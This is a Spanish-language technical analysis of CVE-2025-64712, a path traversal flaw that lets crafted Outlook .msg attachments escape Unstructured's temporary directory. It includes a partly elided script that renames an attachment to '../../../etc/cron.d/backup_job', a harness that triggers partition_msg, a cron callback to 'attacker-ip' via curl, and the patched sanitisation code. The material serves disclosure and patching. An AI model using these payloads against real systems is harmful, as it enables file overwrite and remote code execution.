CVE-2025-64712: RCE por path traversal en el procesamiento de MSG de la biblioteca Unstructured
Análisis técnico de CVE-2025-64712, una vulnerabilidad crítica (CVSS 9.8) de ejecución remota de código mediante path traversal en la biblioteca de Python Unstructured (< 0.18.18). Los nombres de archivo adjunto sin sanear en el procesamiento de MSG de Outlook permiten el path traversal, lo que habilita a un atacante a sobrescribir archivos arbitrarios mediante un archivo MSG manipulado y lograr la ejecución de código.
CVE-2025-64712
RCE crítica por path traversal en el procesamiento de MSG de la biblioteca Unstructured
18 de febrero de 2026 · CVSS 9.8 Crítica · Unstructured < 0.18.18
| ID de CVE | CVSS | Afectadas | Corregidas |
|---|---|---|---|
| CVE-2025-64712 | 9.8 Crítica | < 0.18.18 | 0.18.18+ |
Resumen de CVE-2025-64712: path traversal en la biblioteca Unstructured
La biblioteca de Python Unstructured es un conjunto de herramientas de código abierto para el preprocesamiento de tipos de documentos complejos. En poco más de un año, la biblioteca Unstructured superó los 4 millones de descargas y se utiliza en casi 10,000 repositorios públicos de GitHub, en 100 paquetes de Python y, entre bastidores, en decenas de productos basados en LLM. Sin embargo, se descubrió una vulnerabilidad crítica de path traversal (CWE-22) en su función partition_msg, que procesa los archivos .msg de Microsoft Outlook. Cuando el ajuste process_attachments está habilitado, lo cual ocurre por defecto, es posible manipular la biblioteca para que escriba archivos fuera de sus directorios temporales previstos.
def partition_msg(
filename: Optional[str] = None,
*,
file: Optional[IO[bytes]] = None,
metadata_filename: Optional[str] = None,
metadata_last_modified: Optional[str] = None,
process_attachments: bool = True, # the vulnerability trigger
**kwargs: Any,
) -> list[Element]:
<SNIP>
Path traversal en la biblioteca Unstructured: gestión insegura de nombres de archivo
El núcleo del problema es una vulnerabilidad de path traversal (CWE-22). La función _attachment_file_name() de la biblioteca extrae el nombre de un archivo adjunto directamente del archivo .msg sin ningún tipo de saneamiento.
@lazyproperty
def _attachment_file_name(self) -> str:
"""The original name of the attached file, no path.
This value is 'unknown' if it is not present in the MSG file (not
expected).
"""
return self._attachment.file_name or "unknown"
Prueba de concepto de CVE-2025-64712: ejecución remota de código mediante path traversal
La explotación de CVE-2025-64712 implica un proceso deliberado de tres etapas para convertir un archivo adjunto de correo estándar en un comando a nivel de sistema. Los siguientes pasos describen cómo un atacante pasa de un simple archivo .msg a la ejecución remota de código (RCE) completa.
Paso 1: elaboración del archivo .msg inicial
El ataque comienza generando un archivo legítimo de mensaje de Microsoft Outlook (.msg) que sirve como vector de entrega.
-
Iniciar el borrador: abra Outlook y cree un nuevo mensaje de correo.
-
Incrustar el payload: rellene los campos del mensaje y adjunte el archivo con el contenido objetivo (por ejemplo, un script de tarea cron destinado al directorio de configuración del objetivo).
-
Exportar el archivo: vaya a File > Save As (o Download > Download as MSG en los clientes web) para exportar el mensaje.
Un atacante adjunta a este mensaje un archivo que contiene un payload malicioso, como un script de tarea cron. En esta etapa, el archivo es inofensivo porque el nombre del adjunto es estándar (por ejemplo, backup_job).

Paso 2: inyección de la ruta de recorrido
El atacante utiliza un script especializado de Python para modificar la estructura binaria del archivo .msg. Al apuntar a las estructuras OLE del archivo, el atacante cambia el nombre del adjunto de un simple nombre de archivo a una ruta relativa que contiene secuencias de recorrido.
-
La transformación: backup_job se convierte en ../../../etc/cron.d/backup_job.
-
El resultado: se genera un payload.msg manipulado en el que el propio nombre de archivo contiene las instrucciones para escapar del directorio temporal.
#!/usr/bin/env python3
"""
rename_msg_attachment.py
------------------------
Rename an attachment's filename inside a .msg (OLE2/Compound Document) file.
Supports new filenames of ANY length — reallocates mini-sectors as needed.
Edit the three variables below and run:
python rename_msg_attachment.py
"""
import sys
import struct
import shutil
import os
import math
INPUT_FILE = "backup.msg" # Path to the source .msg file
OLD_NAME = "backup_job" # Current attachment filename
NEW_NAME = "../../../etc/cron.d/backup_job" # New attachment filename
OUTPUT_FILE = "payload.msg" # Output path — leave empty "" to overwrite INPUT_FILE
<SNIP>
# Core rename logic
def rename_attachment(input_path, old_name, new_name, output_path):
print(f"[*] Opening: {input_path}")
ole = OleFile(input_path)
attach_storages = find_attach_storages(ole)
if not attach_storages:
err("No attachment storages found in this .msg file.")
print(f"[*] Found {len(attach_storages)} attachment(s).")
renamed = 0
for att in attach_storages:
children = get_children(ole, att['idx'])
by_name = {c['name'].upper(): c for c in children}
long_e = by_name.get(prop_stream_name(PR_ATTACH_LONG_FILENAME).upper())
short_e = by_name.get(prop_stream_name(PR_ATTACH_FILENAME).upper())
disp_e = by_name.get(prop_stream_name(PR_DISPLAY_NAME).upper())
ext_e = by_name.get(prop_stream_name(PR_ATTACH_EXTENSION).upper())
current = None
if long_e:
current = read_unicode(ole, long_e['idx'])
elif short_e:
current = read_unicode(ole, short_e['idx'])
print(f" [{att['name']}] current filename: {current!r}")
if current is None or current.lower() != old_name.lower():
continue
# Encode new values
new_encoded = encode_unicode(new_name)
short_encoded = encode_unicode(short_name(new_name))
parts = new_name.rsplit('.', 1)
new_ext = ('.' + parts[1]) if len(parts) == 2 else ''
ext_encoded = encode_unicode(new_ext)
print(f" [+] Match! Renaming '{current}' -> '{new_name}'")
print(f" old size: {len(encode_unicode(current))} bytes "
f"new size: {len(new_encoded)} bytes")
if long_e:
ole.write_stream(long_e['idx'], new_encoded)
print(f" ✓ Long filename patched.")
if short_e:
ole.write_stream(short_e['idx'], short_encoded)
print(f" ✓ Short filename patched -> '{short_name(new_name)}'")
if disp_e:
ole.write_stream(disp_e['idx'], new_encoded)
print(f" ✓ Display name patched.")
if ext_e:
ole.write_stream(ext_e['idx'], ext_encoded)
print(f" ✓ Extension patched -> '{new_ext}'")
renamed += 1
if renamed == 0:
print(f"\n[!] No attachment named '{old_name}' was found.")
all_names = []
for att in attach_storages:
children = get_children(ole, att['idx'])
by_name = {c['name'].upper(): c for c in children}
long_e = by_name.get(prop_stream_name(PR_ATTACH_LONG_FILENAME).upper())
short_e = by_name.get(prop_stream_name(PR_ATTACH_FILENAME).upper())
name = None
if long_e:
name = read_unicode(ole, long_e['idx'])
elif short_e:
name = read_unicode(ole, short_e['idx'])
if name:
all_names.append(name)
if all_names:
print(f" Available attachment(s): {', '.join(repr(n) for n in all_names)}")
def similarity(a, b):
a, b = a.lower(), b.lower()
return sum(c in b for c in a) / max(len(a), 1)
best = max(all_names, key=lambda n: similarity(old_name, n))
if similarity(old_name, best) > 0.5:
print(f" Did you mean: '{best}' ?")
sys.exit(1)
ole.save(output_path)
print(f"\n[✓] Saved to: {output_path} ({renamed} attachment(s) renamed)")
<SNIP>

Paso 3: preparación del entorno de pruebas
Para reproducir el fallo se utiliza un entorno controlado (normalmente un contenedor Docker) que ejecuta la versión vulnerable de la biblioteca unstructured (v0.18.15). Se escribe un sencillo envoltorio en Python que llama a la función partition_msg con la opción crítica process_attachments=True habilitada.
import os
import sys
from unstructured.partition.msg import partition_msg
# Disable the digit limit that causes parser crashes
if hasattr(sys, 'set_int_max_str_digits'):
sys.set_int_max_str_digits(0)
def process_msg():
print("[*] Handing exploit.msg to partition_msg()...")
try:
# This triggers the vulnerable function:
partition_msg(
filename="payload.msg",
process_attachments=True
)
except Exception as e:
# We catch the exception because the parser often crashes
# AFTER the file is written due to OLE sector math errors.
print(f"[!] Parser finished with: {e}")
# THE FINAL VERDICT
if os.path.exists("/etc/cron.d/backup_job"):
print("\n" + "="*45)
print("!!! VULNERABILITY REPRODUCED !!!")
print("The library wrote successfuly to '/etc/cron.d/backup_job'")
with open("/etc/cron.d/backup_job", "r") as f:
print(f"File content: {f.read()}")
print("="*45)
else:
print("\n[-] Exploit failed: /etc/cron.d/backup_job not found.")
if __name__ == "__main__":
process_msg()
Paso 4: explotación y RCE
Cuando el script de reproducción procesa el payload.msg malicioso, la biblioteca extrae el archivo adjunto. Como carece de saneamiento, une la cadena de recorrido a su ruta interna y escribe el archivo directamente en el directorio del sistema del host.
- Escritura de archivo: la biblioteca escribe el script del atacante en /etc/cron.d/backup_job.
- Ejecución de comandos: el demonio cron del sistema recoge la nueva tarea, que podría contener un comando como curl http://attacker-ip:port/rce_test.
- El veredicto: el atacante observa una solicitud entrante en su servidor, lo que confirma que ya puede ejecutar código arbitrario en el sistema objetivo.

Cómo corregir CVE-2025-64712 en la biblioteca Unstructured
La forma más eficaz de proteger su entorno es actualizar a la versión 0.18.18 de Unstructured o superior. La corrección introduce un proceso de saneamiento robusto que elimina los componentes de ruta peligrosos.
Análisis del código corregido
La versión parcheada incluye ahora lógica para limpiar el nombre de archivo tanto para los separadores de ruta de Unix como para los de Windows:
# The updated, safe logic in v0.18.18+
raw_filename = self.attachment.file_name or "unknown"
# Remove path components and handle cross-platform attacks
safe_filename = os.path.basename(raw_filename.replace("\\", "/"))
# Strip null bytes and control characters
safe_filename = safe_filename.replace("\0", "")
# Ensure the filename isn't empty or just dots
if not safe_filename or safe_filename in (".", ".."):
safe_filename = "unknown"
Mitigación de CVE-2025-64712 y buenas prácticas
- Actualizar de inmediato: si utiliza unstructured para procesar correo electrónico, asegúrese de estar en la versión 0.18.18 o posteriores.
- Sanear las entradas: utilice siempre os.path.basename() al gestionar nombres de archivo proporcionados por archivos externos.
- Control de permisos: ejecute sus scripts de procesamiento con los permisos mínimos necesarios para limitar el impacto de una posible vulnerabilidad de escritura de archivos.
| Recurso | Enlace |
|---|---|
| Unstructured CVE-2025-64712 | https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-gm8q-m8mv-jj5m |
| Corrección de Unstructured | https://github.com/Unstructured-IO/unstructured/compare/0.18.15...0.18.18 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-64712 |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |